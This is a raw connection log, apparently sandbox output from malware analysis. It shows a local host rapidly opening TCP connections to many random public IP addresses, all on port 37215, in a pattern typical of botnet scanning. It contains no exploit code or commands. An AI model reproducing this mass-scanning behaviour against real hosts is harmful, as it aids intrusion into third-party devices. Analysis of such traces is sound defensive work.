Mar 6, 2025 21:38:03.850856066 CET	45130	37215	192.168.2.13	223.8.88.2
Mar 6, 2025 21:38:03.850856066 CET	45130	37215	192.168.2.13	223.8.88.2
Mar 6, 2025 21:38:03.850931883 CET	37215	51698	196.43.167.177	192.168.2.13
Mar 6, 2025 21:38:03.851406097 CET	45350	37215	192.168.2.13	223.8.88.2
Mar 6, 2025 21:38:03.852065086 CET	50170	37215	192.168.2.13	41.172.61.3
Mar 6, 2025 21:38:03.852065086 CET	50170	37215	192.168.2.13	41.172.61.3
Mar 6, 2025 21:38:03.852407932 CET	37215	53340	196.99.173.230	192.168.2.13
Mar 6, 2025 21:38:03.852472067 CET	50390	37215	192.168.2.13	41.172.61.3
Mar 6, 2025 21:38:03.853327990 CET	59124	37215	192.168.2.13	196.13.140.189
Mar 6, 2025 21:38:03.853327990 CET	59124	37215	192.168.2.13	196.13.140.189
Mar 6, 2025 21:38:03.853560925 CET	37215	36216	156.62.246.47	192.168.2.13
Mar 6, 2025 21:38:03.853894949 CET	59344	37215	192.168.2.13	196.13.140.189
Mar 6, 2025 21:38:03.854574919 CET	38680	37215	192.168.2.13	223.8.188.202
Mar 6, 2025 21:38:03.854574919 CET	38680	37215	192.168.2.13	223.8.188.202
Mar 6, 2025 21:38:03.854655027 CET	37215	47394	41.147.108.84	192.168.2.13
Mar 6, 2025 21:38:03.854685068 CET	37215	38516	197.21.114.231	192.168.2.13
Mar 6, 2025 21:38:03.854712009 CET	37215	37300	196.6.166.25	192.168.2.13
Mar 6, 2025 21:38:03.854743958 CET	37215	50824	196.26.63.44	192.168.2.13
Mar 6, 2025 21:38:03.854954958 CET	38900	37215	192.168.2.13	223.8.188.202
Mar 6, 2025 21:38:03.855861902 CET	41832	37215	192.168.2.13	46.255.10.184
Mar 6, 2025 21:38:03.855861902 CET	41832	37215	192.168.2.13	46.255.10.184
Mar 6, 2025 21:38:03.855870962 CET	37215	45130	223.8.88.2	192.168.2.13
Mar 6, 2025 21:38:03.856467962 CET	42052	37215	192.168.2.13	46.255.10.184
Mar 6, 2025 21:38:03.857059956 CET	52570	37215	192.168.2.13	41.35.133.151
Mar 6, 2025 21:38:03.857059956 CET	52570	37215	192.168.2.13	41.35.133.151
Mar 6, 2025 21:38:03.857142925 CET	37215	50170	41.172.61.3	192.168.2.13
Mar 6, 2025 21:38:03.857465029 CET	52790	37215	192.168.2.13	41.35.133.151
Mar 6, 2025 21:38:03.858167887 CET	57546	37215	192.168.2.13	223.8.101.170
Mar 6, 2025 21:38:03.858169079 CET	57546	37215	192.168.2.13	223.8.101.170
Mar 6, 2025 21:38:03.858376026 CET	37215	59124	196.13.140.189	192.168.2.13
Mar 6, 2025 21:38:03.858690023 CET	37215	59558	196.213.167.189	192.168.2.13
Mar 6, 2025 21:38:03.858719110 CET	37215	45950	181.202.229.252	192.168.2.13
Mar 6, 2025 21:38:03.858747005 CET	37215	49462	134.87.184.70	192.168.2.13
Mar 6, 2025 21:38:03.858773947 CET	37215	39186	197.174.225.92	192.168.2.13
Mar 6, 2025 21:38:03.858800888 CET	37215	50672	197.84.9.2	192.168.2.13
Mar 6, 2025 21:38:03.858896971 CET	57766	37215	192.168.2.13	223.8.101.170
Mar 6, 2025 21:38:03.859527111 CET	59154	37215	192.168.2.13	41.178.82.123
Mar 6, 2025 21:38:03.859527111 CET	59154	37215	192.168.2.13	41.178.82.123
Mar 6, 2025 21:38:03.859817028 CET	37215	38680	223.8.188.202	192.168.2.13
Mar 6, 2025 21:38:03.859944105 CET	59374	37215	192.168.2.13	41.178.82.123
Mar 6, 2025 21:38:03.860620975 CET	50758	37215	192.168.2.13	197.16.127.31
Mar 6, 2025 21:38:03.860620975 CET	50758	37215	192.168.2.13	197.16.127.31
Mar 6, 2025 21:38:03.860940933 CET	37215	41832	46.255.10.184	192.168.2.13
Mar 6, 2025 21:38:03.861409903 CET	50978	37215	192.168.2.13	197.16.127.31
Mar 6, 2025 21:38:03.861552000 CET	37215	42052	46.255.10.184	192.168.2.13
Mar 6, 2025 21:38:03.861607075 CET	42052	37215	192.168.2.13	46.255.10.184
Mar 6, 2025 21:38:03.862041950 CET	59604	37215	192.168.2.13	197.65.45.228
Mar 6, 2025 21:38:03.862041950 CET	59604	37215	192.168.2.13	197.65.45.228
Mar 6, 2025 21:38:03.862088919 CET	37215	52570	41.35.133.151	192.168.2.13
Mar 6, 2025 21:38:03.862445116 CET	59824	37215	192.168.2.13	197.65.45.228
Mar 6, 2025 21:38:03.863082886 CET	35858	37215	192.168.2.13	46.170.39.233
Mar 6, 2025 21:38:03.863082886 CET	35858	37215	192.168.2.13	46.170.39.233
Mar 6, 2025 21:38:03.863215923 CET	37215	57546	223.8.101.170	192.168.2.13
Mar 6, 2025 21:38:03.863791943 CET	36078	37215	192.168.2.13	46.170.39.233
Mar 6, 2025 21:38:03.864567995 CET	37215	59154	41.178.82.123	192.168.2.13
Mar 6, 2025 21:38:03.864684105 CET	40740	37215	192.168.2.13	196.114.213.245
Mar 6, 2025 21:38:03.864684105 CET	40740	37215	192.168.2.13	196.114.213.245
Mar 6, 2025 21:38:03.865122080 CET	40960	37215	192.168.2.13	196.114.213.245
Mar 6, 2025 21:38:03.865684986 CET	37215	50758	197.16.127.31	192.168.2.13
Mar 6, 2025 21:38:03.865737915 CET	51034	37215	192.168.2.13	196.19.79.89
Mar 6, 2025 21:38:03.865737915 CET	51034	37215	192.168.2.13	196.19.79.89
Mar 6, 2025 21:38:03.866286993 CET	51254	37215	192.168.2.13	196.19.79.89
Mar 6, 2025 21:38:03.866741896 CET	37215	35670	156.40.164.183	192.168.2.13
Mar 6, 2025 21:38:03.866770029 CET	37215	43028	197.245.68.4	192.168.2.13
Mar 6, 2025 21:38:03.866796970 CET	37215	41572	46.231.15.207	192.168.2.13
Mar 6, 2025 21:38:03.866823912 CET	37215	53116	197.19.10.148	192.168.2.13
Mar 6, 2025 21:38:03.866852045 CET	37215	57428	197.180.169.54	192.168.2.13
Mar 6, 2025 21:38:03.867141008 CET	37215	59604	197.65.45.228	192.168.2.13
Mar 6, 2025 21:38:03.867167950 CET	45012	37215	192.168.2.13	134.76.175.137
Mar 6, 2025 21:38:03.867167950 CET	45012	37215	192.168.2.13	134.76.175.137
Mar 6, 2025 21:38:03.867567062 CET	45232	37215	192.168.2.13	134.76.175.137
Mar 6, 2025 21:38:03.868175030 CET	37215	35858	46.170.39.233	192.168.2.13
Mar 6, 2025 21:38:03.868233919 CET	36012	37215	192.168.2.13	156.148.48.105
Mar 6, 2025 21:38:03.868233919 CET	36012	37215	192.168.2.13	156.148.48.105
Mar 6, 2025 21:38:03.868822098 CET	36232	37215	192.168.2.13	156.148.48.105
Mar 6, 2025 21:38:03.869514942 CET	42964	37215	192.168.2.13	134.250.14.201
Mar 6, 2025 21:38:03.869514942 CET	42964	37215	192.168.2.13	134.250.14.201
Mar 6, 2025 21:38:03.869738102 CET	37215	40740	196.114.213.245	192.168.2.13
Mar 6, 2025 21:38:03.870136023 CET	43184	37215	192.168.2.13	134.250.14.201
Mar 6, 2025 21:38:03.870187998 CET	37215	40960	196.114.213.245	192.168.2.13
Mar 6, 2025 21:38:03.870238066 CET	40960	37215	192.168.2.13	196.114.213.245
Mar 6, 2025 21:38:03.870625019 CET	37215	49206	181.174.162.15	192.168.2.13
Mar 6, 2025 21:38:03.870780945 CET	37215	51034	196.19.79.89	192.168.2.13
Mar 6, 2025 21:38:03.870841980 CET	49012	37215	192.168.2.13	41.154.111.143
Mar 6, 2025 21:38:03.870841980 CET	49012	37215	192.168.2.13	41.154.111.143
Mar 6, 2025 21:38:03.871484995 CET	49232	37215	192.168.2.13	41.154.111.143
Mar 6, 2025 21:38:03.872179031 CET	57912	37215	192.168.2.13	41.172.7.4
Mar 6, 2025 21:38:03.872179031 CET	57912	37215	192.168.2.13	41.172.7.4
Mar 6, 2025 21:38:03.872210026 CET	37215	45012	134.76.175.137	192.168.2.13
Mar 6, 2025 21:38:03.872653008 CET	58132	37215	192.168.2.13	41.172.7.4
Mar 6, 2025 21:38:03.873308897 CET	37215	36012	156.148.48.105	192.168.2.13
Mar 6, 2025 21:38:03.873491049 CET	57770	37215	192.168.2.13	223.8.156.155
Mar 6, 2025 21:38:03.873491049 CET	57770	37215	192.168.2.13	223.8.156.155
Mar 6, 2025 21:38:03.874125004 CET	57990	37215	192.168.2.13	223.8.156.155
Mar 6, 2025 21:38:03.874598980 CET	37215	42964	134.250.14.201	192.168.2.13
Mar 6, 2025 21:38:03.874685049 CET	37215	34282	196.156.130.199	192.168.2.13
Mar 6, 2025 21:38:03.874694109 CET	38120	37215	192.168.2.13	196.251.27.28
Mar 6, 2025 21:38:03.874694109 CET	38120	37215	192.168.2.13	196.251.27.28
Mar 6, 2025 21:38:03.874716043 CET	37215	45934	197.48.163.17	192.168.2.13
Mar 6, 2025 21:38:03.874743938 CET	37215	49866	223.8.227.203	192.168.2.13
Mar 6, 2025 21:38:03.874771118 CET	37215	57912	41.231.60.157	192.168.2.13
Mar 6, 2025 21:38:03.874800920 CET	37215	51380	46.165.55.231	192.168.2.13
Mar 6, 2025 21:38:03.874829054 CET	37215	34860	197.210.237.106	192.168.2.13
Mar 6, 2025 21:38:03.874855995 CET	37215	56772	181.182.228.131	192.168.2.13
Mar 6, 2025 21:38:03.875179052 CET	38340	37215	192.168.2.13	196.251.27.28
Mar 6, 2025 21:38:03.875885963 CET	37215	49012	41.154.111.143	192.168.2.13
Mar 6, 2025 21:38:03.876055002 CET	45366	37215	192.168.2.13	46.236.64.226
Mar 6, 2025 21:38:03.876055002 CET	45366	37215	192.168.2.13	46.236.64.226
Mar 6, 2025 21:38:03.877104044 CET	45586	37215	192.168.2.13	46.236.64.226
Mar 6, 2025 21:38:03.877207041 CET	37215	57912	41.172.7.4	192.168.2.13
Mar 6, 2025 21:38:03.877671003 CET	44956	37215	192.168.2.13	197.238.9.115
Mar 6, 2025 21:38:03.877671003 CET	44956	37215	192.168.2.13	197.238.9.115
Mar 6, 2025 21:38:03.878175974 CET	45176	37215	192.168.2.13	197.238.9.115
Mar 6, 2025 21:38:03.878583908 CET	37215	57770	223.8.156.155	192.168.2.13
Mar 6, 2025 21:38:03.878688097 CET	43466	37215	192.168.2.13	197.154.103.166
Mar 6, 2025 21:38:03.878688097 CET	43466	37215	192.168.2.13	197.154.103.166
Mar 6, 2025 21:38:03.879256964 CET	43686	37215	192.168.2.13	197.154.103.166
Mar 6, 2025 21:38:03.879868984 CET	37215	38120	196.251.27.28	192.168.2.13
Mar 6, 2025 21:38:03.880201101 CET	60684	37215	192.168.2.13	197.99.235.91
Mar 6, 2025 21:38:03.880201101 CET	60684	37215	192.168.2.13	197.99.235.91
Mar 6, 2025 21:38:03.880572081 CET	60904	37215	192.168.2.13	197.99.235.91
Mar 6, 2025 21:38:03.881097078 CET	37215	45366	46.236.64.226	192.168.2.13
Mar 6, 2025 21:38:03.881454945 CET	38970	37215	192.168.2.13	196.82.234.162
Mar 6, 2025 21:38:03.881454945 CET	38970	37215	192.168.2.13	196.82.234.162
Mar 6, 2025 21:38:03.882030964 CET	39190	37215	192.168.2.13	196.82.234.162
Mar 6, 2025 21:38:03.882170916 CET	37215	45586	46.236.64.226	192.168.2.13
Mar 6, 2025 21:38:03.882216930 CET	45586	37215	192.168.2.13	46.236.64.226
Mar 6, 2025 21:38:03.882636070 CET	56652	37215	192.168.2.13	223.8.181.1
Mar 6, 2025 21:38:03.882636070 CET	56652	37215	192.168.2.13	223.8.181.1
Mar 6, 2025 21:38:03.882674932 CET	37215	33966	196.40.168.239	192.168.2.13
Mar 6, 2025 21:38:03.882702112 CET	37215	38670	46.205.90.64	192.168.2.13
Mar 6, 2025 21:38:03.882730961 CET	37215	48816	46.201.207.119	192.168.2.13
Mar 6, 2025 21:38:03.882760048 CET	37215	46548	196.44.144.135	192.168.2.13
Mar 6, 2025 21:38:03.882787943 CET	37215	34548	181.45.240.179	192.168.2.13
Mar 6, 2025 21:38:03.882813931 CET	37215	58502	156.45.1.6	192.168.2.13
Mar 6, 2025 21:38:03.882846117 CET	37215	44956	197.238.9.115	192.168.2.13
Mar 6, 2025 21:38:03.883498907 CET	56872	37215	192.168.2.13	223.8.181.1
Mar 6, 2025 21:38:03.883724928 CET	37215	43466	197.154.103.166	192.168.2.13
Mar 6, 2025 21:38:03.884205103 CET	47098	37215	192.168.2.13	156.236.78.194
Mar 6, 2025 21:38:03.884205103 CET	47098	37215	192.168.2.13	156.236.78.194
Mar 6, 2025 21:38:03.885060072 CET	47318	37215	192.168.2.13	156.236.78.194
Mar 6, 2025 21:38:03.885241985 CET	37215	60684	197.99.235.91	192.168.2.13
Mar 6, 2025 21:38:03.885571003 CET	46950	37215	192.168.2.13	181.75.36.86
Mar 6, 2025 21:38:03.885571003 CET	46950	37215	192.168.2.13	181.75.36.86
Mar 6, 2025 21:38:03.885904074 CET	47170	37215	192.168.2.13	181.75.36.86
Mar 6, 2025 21:38:03.886432886 CET	36624	37215	192.168.2.13	197.122.95.139
Mar 6, 2025 21:38:03.886432886 CET	36624	37215	192.168.2.13	197.122.95.139
Mar 6, 2025 21:38:03.886465073 CET	37215	38970	196.82.234.162	192.168.2.13
Mar 6, 2025 21:38:03.886610031 CET	37215	51144	223.8.97.197	192.168.2.13
Mar 6, 2025 21:38:03.886987925 CET	36844	37215	192.168.2.13	197.122.95.139
Mar 6, 2025 21:38:03.887623072 CET	38636	37215	192.168.2.13	197.20.229.146
Mar 6, 2025 21:38:03.887623072 CET	38636	37215	192.168.2.13	197.20.229.146
Mar 6, 2025 21:38:03.887842894 CET	37215	56652	223.8.181.1	192.168.2.13
Mar 6, 2025 21:38:03.888012886 CET	38856	37215	192.168.2.13	197.20.229.146
Mar 6, 2025 21:38:03.888895035 CET	33860	37215	192.168.2.13	134.93.161.218
Mar 6, 2025 21:38:03.888895035 CET	33860	37215	192.168.2.13	134.93.161.218
Mar 6, 2025 21:38:03.889235973 CET	34080	37215	192.168.2.13	134.93.161.218
Mar 6, 2025 21:38:03.889269114 CET	37215	47098	156.236.78.194	192.168.2.13
Mar 6, 2025 21:38:03.889708996 CET	33122	37215	192.168.2.13	223.8.73.168
Mar 6, 2025 21:38:03.889708996 CET	33122	37215	192.168.2.13	223.8.73.168
Mar 6, 2025 21:38:03.890033007 CET	33342	37215	192.168.2.13	223.8.73.168
Mar 6, 2025 21:38:03.890125036 CET	37215	47318	156.236.78.194	192.168.2.13
Mar 6, 2025 21:38:03.890208960 CET	47318	37215	192.168.2.13	156.236.78.194
Mar 6, 2025 21:38:03.890536070 CET	42210	37215	192.168.2.13	197.50.17.141
Mar 6, 2025 21:38:03.890536070 CET	42210	37215	192.168.2.13	197.50.17.141
Mar 6, 2025 21:38:03.890640974 CET	37215	46950	181.75.36.86	192.168.2.13
Mar 6, 2025 21:38:03.890670061 CET	37215	56544	181.87.38.125	192.168.2.13
Mar 6, 2025 21:38:03.890697956 CET	37215	33512	41.195.235.33	192.168.2.13
Mar 6, 2025 21:38:03.890726089 CET	37215	39558	156.228.113.82	192.168.2.13
Mar 6, 2025 21:38:03.890754938 CET	37215	56428	196.89.100.55	192.168.2.13
Mar 6, 2025 21:38:03.890783072 CET	37215	47076	223.8.244.35	192.168.2.13
Mar 6, 2025 21:38:03.890811920 CET	37215	46810	41.220.237.242	192.168.2.13
Mar 6, 2025 21:38:03.891112089 CET	42430	37215	192.168.2.13	197.50.17.141
Mar 6, 2025 21:38:03.891463041 CET	37215	36624	197.122.95.139	192.168.2.13
Mar 6, 2025 21:38:03.892034054 CET	41198	37215	192.168.2.13	223.8.233.222
Mar 6, 2025 21:38:03.892034054 CET	41198	37215	192.168.2.13	223.8.233.222
Mar 6, 2025 21:38:03.892297029 CET	41418	37215	192.168.2.13	223.8.233.222
Mar 6, 2025 21:38:03.892684937 CET	37215	38636	197.20.229.146	192.168.2.13
Mar 6, 2025 21:38:03.892806053 CET	59096	37215	192.168.2.13	134.244.9.99
Mar 6, 2025 21:38:03.892806053 CET	59096	37215	192.168.2.13	134.244.9.99
Mar 6, 2025 21:38:03.893204927 CET	59316	37215	192.168.2.13	134.244.9.99
Mar 6, 2025 21:38:03.893688917 CET	53006	37215	192.168.2.13	181.44.208.87
Mar 6, 2025 21:38:03.893688917 CET	53006	37215	192.168.2.13	181.44.208.87
Mar 6, 2025 21:38:03.893944025 CET	37215	33860	134.93.161.218	192.168.2.13
Mar 6, 2025 21:38:03.894081116 CET	53226	37215	192.168.2.13	181.44.208.87
Mar 6, 2025 21:38:03.894691944 CET	37215	36216	156.62.246.47	192.168.2.13
Mar 6, 2025 21:38:03.894721031 CET	37215	53340	196.99.173.230	192.168.2.13
Mar 6, 2025 21:38:03.894747972 CET	37215	51698	196.43.167.177	192.168.2.13
Mar 6, 2025 21:38:03.894772053 CET	53626	37215	192.168.2.13	181.32.58.59
Mar 6, 2025 21:38:03.894772053 CET	53626	37215	192.168.2.13	181.32.58.59
Mar 6, 2025 21:38:03.894779921 CET	37215	33122	223.8.73.168	192.168.2.13
Mar 6, 2025 21:38:03.895456076 CET	53846	37215	192.168.2.13	181.32.58.59
Mar 6, 2025 21:38:03.895551920 CET	37215	42210	197.50.17.141	192.168.2.13
Mar 6, 2025 21:38:03.895955086 CET	58128	37215	192.168.2.13	197.152.242.146
Mar 6, 2025 21:38:03.895955086 CET	58128	37215	192.168.2.13	197.152.242.146
Mar 6, 2025 21:38:03.896264076 CET	58348	37215	192.168.2.13	197.152.242.146
Mar 6, 2025 21:38:03.896764994 CET	43220	37215	192.168.2.13	156.160.61.156
Mar 6, 2025 21:38:03.896764994 CET	43220	37215	192.168.2.13	156.160.61.156
Mar 6, 2025 21:38:03.897033930 CET	37215	41198	223.8.233.222	192.168.2.13
Mar 6, 2025 21:38:03.897170067 CET	43440	37215	192.168.2.13	156.160.61.156
Mar 6, 2025 21:38:03.897818089 CET	47672	37215	192.168.2.13	197.218.93.64
Mar 6, 2025 21:38:03.897818089 CET	47672	37215	192.168.2.13	197.218.93.64
Mar 6, 2025 21:38:03.897861004 CET	37215	59096	134.244.9.99	192.168.2.13
Mar 6, 2025 21:38:03.898237944 CET	47892	37215	192.168.2.13	197.218.93.64
Mar 6, 2025 21:38:03.898664951 CET	37215	59124	196.13.140.189	192.168.2.13
Mar 6, 2025 21:38:03.898693085 CET	37215	50170	41.172.61.3	192.168.2.13
Mar 6, 2025 21:38:03.898720980 CET	37215	45130	223.8.88.2	192.168.2.13
Mar 6, 2025 21:38:03.898747921 CET	37215	50824	196.26.63.44	192.168.2.13
Mar 6, 2025 21:38:03.898782015 CET	37215	53006	181.44.208.87	192.168.2.13
Mar 6, 2025 21:38:03.899053097 CET	57086	37215	192.168.2.13	41.66.105.153
Mar 6, 2025 21:38:03.899053097 CET	57086	37215	192.168.2.13	41.66.105.153
Mar 6, 2025 21:38:03.899430990 CET	57306	37215	192.168.2.13	41.66.105.153
Mar 6, 2025 21:38:03.899868965 CET	37215	53626	181.32.58.59	192.168.2.13
Mar 6, 2025 21:38:03.899945974 CET	58576	37215	192.168.2.13	134.86.202.219
Mar 6, 2025 21:38:03.899945974 CET	58576	37215	192.168.2.13	134.86.202.219
Mar 6, 2025 21:38:03.900271893 CET	58796	37215	192.168.2.13	134.86.202.219
Mar 6, 2025 21:38:03.900758982 CET	42554	37215	192.168.2.13	41.228.176.24
Mar 6, 2025 21:38:03.900758982 CET	42554	37215	192.168.2.13	41.228.176.24
Mar 6, 2025 21:38:03.901017904 CET	37215	58128	197.152.242.146	192.168.2.13
Mar 6, 2025 21:38:03.901314974 CET	42774	37215	192.168.2.13	41.228.176.24
Mar 6, 2025 21:38:03.901813984 CET	37215	43220	156.160.61.156	192.168.2.13
Mar 6, 2025 21:38:03.902179956 CET	48918	37215	192.168.2.13	223.8.126.49
Mar 6, 2025 21:38:03.902179956 CET	48918	37215	192.168.2.13	223.8.126.49
Mar 6, 2025 21:38:03.902215958 CET	37215	43440	156.160.61.156	192.168.2.13
Mar 6, 2025 21:38:03.902259111 CET	43440	37215	192.168.2.13	156.160.61.156
Mar 6, 2025 21:38:03.902498960 CET	49138	37215	192.168.2.13	223.8.126.49
Mar 6, 2025 21:38:03.902692080 CET	37215	52570	41.35.133.151	192.168.2.13
Mar 6, 2025 21:38:03.902720928 CET	37215	41832	46.255.10.184	192.168.2.13
Mar 6, 2025 21:38:03.902749062 CET	37215	38680	223.8.188.202	192.168.2.13
Mar 6, 2025 21:38:03.902997017 CET	42606	37215	192.168.2.13	181.98.143.241
Mar 6, 2025 21:38:03.902997017 CET	42606	37215	192.168.2.13	181.98.143.241
Mar 6, 2025 21:38:03.903042078 CET	37215	47672	197.218.93.64	192.168.2.13
Mar 6, 2025 21:38:03.903439999 CET	42826	37215	192.168.2.13	181.98.143.241
Mar 6, 2025 21:38:03.903889894 CET	47048	37215	192.168.2.13	223.8.27.133
Mar 6, 2025 21:38:03.903889894 CET	47048	37215	192.168.2.13	223.8.27.133
Mar 6, 2025 21:38:03.904088020 CET	37215	57086	41.66.105.153	192.168.2.13
Mar 6, 2025 21:38:03.904320955 CET	47268	37215	192.168.2.13	223.8.27.133
Mar 6, 2025 21:38:03.904983997 CET	37215	58576	134.86.202.219	192.168.2.13
Mar 6, 2025 21:38:03.905024052 CET	49352	37215	192.168.2.13	156.68.142.203
Mar 6, 2025 21:38:03.905024052 CET	49352	37215	192.168.2.13	156.68.142.203
Mar 6, 2025 21:38:03.905698061 CET	49572	37215	192.168.2.13	156.68.142.203
Mar 6, 2025 21:38:03.905781984 CET	37215	42554	41.228.176.24	192.168.2.13
Mar 6, 2025 21:38:03.906198978 CET	40922	37215	192.168.2.13	156.137.24.0
Mar 6, 2025 21:38:03.906198978 CET	40922	37215	192.168.2.13	156.137.24.0
Mar 6, 2025 21:38:03.906528950 CET	41142	37215	192.168.2.13	156.137.24.0
Mar 6, 2025 21:38:03.906672955 CET	37215	57546	223.8.101.170	192.168.2.13
Mar 6, 2025 21:38:03.906702042 CET	37215	50758	197.16.127.31	192.168.2.13
Mar 6, 2025 21:38:03.906734943 CET	37215	59154	41.178.82.123	192.168.2.13
Mar 6, 2025 21:38:03.907031059 CET	60822	37215	192.168.2.13	134.145.77.85
Mar 6, 2025 21:38:03.907031059 CET	60822	37215	192.168.2.13	134.145.77.85
Mar 6, 2025 21:38:03.907265902 CET	37215	48918	223.8.126.49	192.168.2.13
Mar 6, 2025 21:38:03.907433987 CET	32810	37215	192.168.2.13	134.145.77.85
Mar 6, 2025 21:38:03.907989979 CET	49614	37215	192.168.2.13	196.45.83.43
Mar 6, 2025 21:38:03.907989979 CET	49614	37215	192.168.2.13	196.45.83.43
Mar 6, 2025 21:38:03.908076048 CET	37215	42606	181.98.143.241	192.168.2.13
Mar 6, 2025 21:38:03.908456087 CET	49834	37215	192.168.2.13	196.45.83.43
Mar 6, 2025 21:38:03.908921957 CET	37215	47048	223.8.27.133	192.168.2.13
Mar 6, 2025 21:38:03.909288883 CET	48728	37215	192.168.2.13	181.158.69.122
Mar 6, 2025 21:38:03.909288883 CET	48728	37215	192.168.2.13	181.158.69.122
Mar 6, 2025 21:38:03.909349918 CET	37215	47268	223.8.27.133	192.168.2.13
Mar 6, 2025 21:38:03.909410954 CET	47268	37215	192.168.2.13	223.8.27.133
Mar 6, 2025 21:38:03.909704924 CET	48948	37215	192.168.2.13	181.158.69.122
Mar 6, 2025 21:38:03.910085917 CET	37215	49352	156.68.142.203	192.168.2.13
Mar 6, 2025 21:38:03.910187006 CET	37932	37215	192.168.2.13	46.93.2.228
Mar 6, 2025 21:38:03.910187006 CET	37932	37215	192.168.2.13	46.93.2.228
Mar 6, 2025 21:38:03.910496950 CET	38152	37215	192.168.2.13	46.93.2.228
Mar 6, 2025 21:38:03.910994053 CET	48808	37215	192.168.2.13	156.224.97.34
Mar 6, 2025 21:38:03.910994053 CET	48808	37215	192.168.2.13	156.224.97.34
Mar 6, 2025 21:38:03.911251068 CET	37215	40922	156.137.24.0	192.168.2.13
Mar 6, 2025 21:38:03.911626101 CET	49028	37215	192.168.2.13	156.224.97.34
Mar 6, 2025 21:38:03.912097931 CET	37215	60822	134.145.77.85	192.168.2.13
Mar 6, 2025 21:38:03.912199020 CET	39514	37215	192.168.2.13	223.8.96.153
Mar 6, 2025 21:38:03.912199974 CET	39514	37215	192.168.2.13	223.8.96.153
Mar 6, 2025 21:38:03.912836075 CET	39734	37215	192.168.2.13	223.8.96.153
Mar 6, 2025 21:38:03.913048029 CET	37215	49614	196.45.83.43	192.168.2.13
Mar 6, 2025 21:38:03.913424015 CET	35226	37215	192.168.2.13	196.127.152.141
Mar 6, 2025 21:38:03.913424015 CET	35226	37215	192.168.2.13	196.127.152.141
Mar 6, 2025 21:38:03.913686991 CET	35446	37215	192.168.2.13	196.127.152.141
Mar 6, 2025 21:38:03.914186954 CET	48920	37215	192.168.2.13	196.56.200.115
Mar 6, 2025 21:38:03.914186954 CET	48920	37215	192.168.2.13	196.56.200.115
Mar 6, 2025 21:38:03.914433002 CET	37215	48728	181.158.69.122	192.168.2.13
Mar 6, 2025 21:38:03.914509058 CET	49140	37215	192.168.2.13	196.56.200.115
Mar 6, 2025 21:38:03.914652109 CET	37215	40740	196.114.213.245	192.168.2.13
Mar 6, 2025 21:38:03.914685965 CET	37215	35858	46.170.39.233	192.168.2.13
Mar 6, 2025 21:38:03.914733887 CET	37215	59604	197.65.45.228	192.168.2.13
Mar 6, 2025 21:38:03.914763927 CET	37215	36012	156.148.48.105	192.168.2.13
Mar 6, 2025 21:38:03.914789915 CET	37215	45012	134.76.175.137	192.168.2.13
Mar 6, 2025 21:38:03.914817095 CET	37215	51034	196.19.79.89	192.168.2.13
Mar 6, 2025 21:38:03.915067911 CET	43676	37215	192.168.2.13	156.181.141.115
Mar 6, 2025 21:38:03.915067911 CET	43676	37215	192.168.2.13	156.181.141.115
Mar 6, 2025 21:38:03.915214062 CET	37215	37932	46.93.2.228	192.168.2.13
Mar 6, 2025 21:38:03.915714979 CET	43896	37215	192.168.2.13	156.181.141.115
Mar 6, 2025 21:38:03.916075945 CET	37215	48808	156.224.97.34	192.168.2.13
Mar 6, 2025 21:38:03.916485071 CET	59644	37215	192.168.2.13	134.97.23.39
Mar 6, 2025 21:38:03.916485071 CET	59644	37215	192.168.2.13	134.97.23.39
Mar 6, 2025 21:38:03.916769981 CET	59864	37215	192.168.2.13	134.97.23.39
Mar 6, 2025 21:38:03.917265892 CET	37215	39514	223.8.96.153	192.168.2.13
Mar 6, 2025 21:38:03.917287111 CET	53820	37215	192.168.2.13	197.221.227.133
Mar 6, 2025 21:38:03.917287111 CET	53820	37215	192.168.2.13	197.221.227.133
Mar 6, 2025 21:38:03.917680979 CET	54040	37215	192.168.2.13	197.221.227.133
Mar 6, 2025 21:38:03.918200016 CET	44950	37215	192.168.2.13	156.13.118.195
Mar 6, 2025 21:38:03.918200016 CET	44950	37215	192.168.2.13	156.13.118.195
Mar 6, 2025 21:38:03.918467999 CET	37215	35226	196.127.152.141	192.168.2.13
Mar 6, 2025 21:38:03.918560028 CET	45170	37215	192.168.2.13	156.13.118.195
Mar 6, 2025 21:38:03.918699026 CET	37215	57912	41.172.7.4	192.168.2.13
Mar 6, 2025 21:38:03.918726921 CET	37215	49012	41.154.111.143	192.168.2.13
Mar 6, 2025 21:38:03.918756008 CET	37215	42964	134.250.14.201	192.168.2.13
Mar 6, 2025 21:38:03.919240952 CET	45338	37215	192.168.2.13	46.14.69.250
Mar 6, 2025 21:38:03.919240952 CET	45338	37215	192.168.2.13	46.14.69.250
Mar 6, 2025 21:38:03.919253111 CET	37215	48920	196.56.200.115	192.168.2.13
Mar 6, 2025 21:38:03.919897079 CET	45558	37215	192.168.2.13	46.14.69.250
Mar 6, 2025 21:38:03.920078993 CET	37215	43676	156.181.141.115	192.168.2.13
Mar 6, 2025 21:38:03.920402050 CET	52756	37215	192.168.2.13	156.163.195.66
Mar 6, 2025 21:38:03.920402050 CET	52756	37215	192.168.2.13	156.163.195.66
Mar 6, 2025 21:38:03.920744896 CET	52976	37215	192.168.2.13	156.163.195.66
Mar 6, 2025 21:38:03.921215057 CET	43160	37215	192.168.2.13	196.1.6.69
Mar 6, 2025 21:38:03.921215057 CET	43160	37215	192.168.2.13	196.1.6.69
Mar 6, 2025 21:38:03.921528101 CET	37215	59644	134.97.23.39	192.168.2.13
Mar 6, 2025 21:38:03.921576977 CET	43380	37215	192.168.2.13	196.1.6.69
Mar 6, 2025 21:38:03.921809912 CET	37215	59864	134.97.23.39	192.168.2.13
Mar 6, 2025 21:38:03.921861887 CET	59864	37215	192.168.2.13	134.97.23.39
Mar 6, 2025 21:38:03.922230005 CET	40610	37215	192.168.2.13	196.208.2.191
Mar 6, 2025 21:38:03.922230005 CET	40610	37215	192.168.2.13	196.208.2.191
Mar 6, 2025 21:38:03.922352076 CET	37215	53820	197.221.227.133	192.168.2.13
Mar 6, 2025 21:38:03.922616005 CET	40830	37215	192.168.2.13	196.208.2.191
Mar 6, 2025 21:38:03.923216105 CET	37215	44950	156.13.118.195	192.168.2.13
Mar 6, 2025 21:38:03.923381090 CET	58986	37215	192.168.2.13	223.8.7.247
Mar 6, 2025 21:38:03.923381090 CET	58986	37215	192.168.2.13	223.8.7.247
Mar 6, 2025 21:38:03.923765898 CET	59206	37215	192.168.2.13	223.8.7.247
Mar 6, 2025 21:38:03.924242973 CET	37215	45338	46.14.69.250	192.168.2.13
Mar 6, 2025 21:38:03.924267054 CET	52564	37215	192.168.2.13	223.8.154.165
Mar 6, 2025 21:38:03.924267054 CET	52564	37215	192.168.2.13	223.8.154.165
Mar 6, 2025 21:38:03.924696922 CET	52784	37215	192.168.2.13	223.8.154.165
